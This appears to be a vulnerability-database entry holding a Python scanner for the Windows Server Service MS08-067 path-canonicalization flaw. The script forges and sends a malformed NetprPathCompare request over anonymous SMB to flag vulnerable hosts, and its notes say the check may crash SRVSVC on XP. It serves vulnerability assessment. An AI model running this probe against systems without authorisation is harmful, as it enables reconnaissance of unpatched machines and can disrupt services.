Microsoft Server Service Remote Path Canonicalization Stack Overflow Vulnerability

2008-11-01T00:00:00
ID SSV:9862
Type seebug
Reporter Root
Modified 2008-11-01T00:00:00

Description

No description provided by source.

                                        
                                            
                                                #!/usr/bin/env python

'''
Name: Microsoft Server Service Remote Path Canonicalization Stack Overflow Vulnerability

Description:
Anonymously check if a target machine is affected by MS08-067 (Vulnerability in Server Service Could Allow Remote Code Execution)

Author: Bernardo Damele A. G. <bernardo.damele@gmail.com>

License: Modified Apache 1.1

Version: 0.4

References:
* BID: 31874
* CVE: 2008-4250
* MSB: MS08-067
* VENDOR: http://blogs.technet.com/swi/archive/2008/10/25/most-common-questions-that-we-ve-been-asked-regarding-ms08-067.aspx
* VENDOR: http://www.microsoft.com/technet/security/advisory/958963.mspx
* MISC: http://www.phreedom.org/blog/2008/decompiling-ms08-067/
* MISC: http://metasploit.com/dev/trac/browser/framework3/trunk/modules/exploits/windows/smb/ms08_067_netapi.rb
* MISC: http://blog.threatexpert.com/2008/10/gimmiva-exploits-zero-day-vulnerability.html
* MISC: http://blogs.securiteam.com/index.php/archives/1150

Tested:
* Windows 2000 Server Service Pack 0
* Windows 2000 Server Service Pack 4 with Update Rollup 1
* Microsoft 2003 Standard Service Pack 1
* Microsoft 2003 Standard Service Pack 2 Full Patched at 22nd of October 2008, before MS08-067 patch was released

Notes:
* This check might crash the SRVSVC process on Microsoft XP Service Pack 2 and 3
'''


import select
import socket
import struct
import sys
import traceback

from optparse import OptionError
from optparse import OptionParser
from threading import Thread

try:
    from impacket import smb
    from impacket import uuid
    from impacket.dcerpc import dcerpc
    from impacket.dcerpc import transport
except ImportError, _:
    print 'ERROR: this tool requires python-impacket library to be installed, get it '
    print 'from http://oss.coresecurity.com/projects/impacket.html or apt-get install python-impacket'
    sys.exit(1)


CMDLINE = False
SILENT  = False


class connectionException(Exception):
    pass


class MS08_067(Thread):
    def __init__(self, target, port=445):
        super(MS08_067, self).__init__()

        self.__port   = port
        self.target   = target
        self.status   = 'unknown'


    def __checkPort(self):
        '''
        Open connection to TCP port to check if it is open
        '''

        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(1)
            s.connect((self.target, self.__port))
            s.close()

        except socket.timeout, _:
            raise connectionException, 'connection timeout'

        except socket.error, _:
            raise connectionException, 'connection refused'


    def __connect(self):
        '''
        SMB connect to the Computer Browser service named pipe
        Reference: http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_browser.html
        '''

        try:
            self.__trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % self.target)
            self.__trans.connect()

        except smb.SessionError, _:
            raise connectionException, 'access denied (RestrictAnonymous is probably set to 2)'

        except:
            #raise Exception, 'unhandled exception (%s)' % traceback.format_exc()
            raise connectionException, 'unexpected exception'


    def __bind(self):
        '''
        DCERPC bind to SRVSVC (Server Service) interface
        Reference: http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_srvsvc.html
        '''

        try:
            self.__dce = self.__trans.DCERPC_class(self.__trans)

            self.__dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))

        except socket.error, _:
            raise connectionException, 'unable to bind to SRVSVC interface'

        except:
            #raise Exception, 'unhandled exception (%s)' % traceback.format_exc()
            raise connectionException, 'unexpected exception'


    def __forgePacket(self):
        '''
        Forge the malicious NetprPathCompare packet
        '''

        self.__request  = struct.pack('<HHHI', 0, 2, 1, 0)       # Point to Server Unc 
        self.__request += struct.pack('<HII', 0, 1, 0)           #
        self.__request += struct.pack('<I', 46)                  # Max Count
        self.__request += struct.pack('<I', 0)                   # Offset
        self.__request += struct.pack('<I', 46)                  # Actual Count
        self.__request += struct.pack('2s78s', '\\', 'A\x00'*39) # Path1
        self.__request += struct.pack('2sHH', '\\', 46, 46)      #
        self.__request += struct.pack('2s4s', '\\', 'n')         #
        self.__request += struct.pack('<I', 3)                   # Max Count
        self.__request += struct.pack('<I', 0)                   # Offset
        self.__request += struct.pack('<I', 3)                   # Actual Count
        self.__request += struct.pack('2s4s', '\\', 'n')         # Path2
        self.__request += struct.pack('<HI', 0, 1)               # Path Type
        self.__request += struct.pack('<I', 0)                   # Path Flags


    def __compare(self):
        '''
        Compare NetprPathCompare response field 'Windows Error' with the
        expected value (WERR_OK) to confirm the target is vulnerable
        '''

        self.__vulnerable = struct.pack('L', 0)

        # The target is vulnerable if the NetprPathCompare response field
        # 'Windows Error' is WERR_OK (0x00000000)
        if self.__response == self.__vulnerable:
            self.status = 'VULNERABLE'
        else:
            self.status = 'not vulnerable'

        self.result()


    def result(self):
        if CMDLINE == True and self.status in ('VULNERABLE', 'not vulnerable'):
           print '%s: %s' % (self.target, self.status)
        elif CMDLINE == True and SILENT != True:
           print '%s: %s' % (self.target, self.status)


    def run(self):
        try:
            self.__checkPort()
            self.__connect()
            self.__bind()
        except connectionException, e:
            self.status = e
            self.result()
            return None

        # Forge and send the NetprPathCompare operation malicious packet
        self.__forgePacket()
        self.__dce.call(0x20, self.__request)

        # Get back the NetprPathCompare response and check if it is vulnerable
        self.__response = self.__dce.recv()
        self.__compare()


if __name__ == '__main__':
    CMDLINE = True

    usage = '%s [-d] {-t <target>|-l <iplist.txt>}' % sys.argv[0]
    parser  = OptionParser(usage=usage, version='0.4')
    targets = set()

    # Create command line options
    try:
        parser.add_option('-d', dest='descr', action='store_true', help='show description and exit')

        parser.add_option('-t', dest='target', help='target IP or hostname')

        parser.add_option('-l', dest='list', help='text file with list of targets')

        parser.add_option('-s', dest='silent', action='store_true', help='be silent')

        (args, _) = parser.parse_args()

        if not args.descr and not args.target and not args.list:
            print usage
            sys.exit(1)

    except (OptionError, TypeError), e:
        parser.error(e)

    descr  = args.descr
    target = args.target
    tList  = args.list

    SILENT = args.silent

    if descr:
        print __doc__
        sys.exit(0)

    if tList:
        try:
            fd = open(tList, 'r')
        except IOError:
            print 'ERROR: unable to read targets list file \'%s\'' % tList
            sys.exit(1)

        for line in fd.readlines():
            target = line.replace('\n', '').replace('\r', '')
            targets.add(target)
    else:
        targets.add(target)

    if not targets:
        print 'ERROR: no targets specified'
        sys.exit(1)

    targets = list(targets)
    targets.sort()

    for target in targets:
        current = MS08_067(target)
        current.start()